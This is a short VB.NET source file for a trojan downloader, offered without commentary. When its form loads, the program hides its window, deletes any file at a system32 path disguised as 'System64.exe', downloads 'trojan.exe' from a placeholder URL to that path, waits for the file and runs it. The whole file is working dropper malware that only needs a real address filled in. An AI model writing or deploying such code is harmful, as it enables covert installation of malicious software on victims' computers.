Public Class Form1
    Dim path As String = "C:\windows\system32\System64.exe"
    Dim url As String = "http://site.com/trojan.exe"

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Me.Hide()
        If My.Computer.FileSystem.FileExists(path) = True Then
            My.Computer.FileSystem.DeleteFile(path)
        End If
        If My.Computer.FileSystem.FileExists(path) = False Then
            My.Computer.Network.DownloadFile(url, path)
            Do Until My.Computer.FileSystem.FileExists(path) = True
            Loop
        End If
        Shell(path)
    End Sub
End Class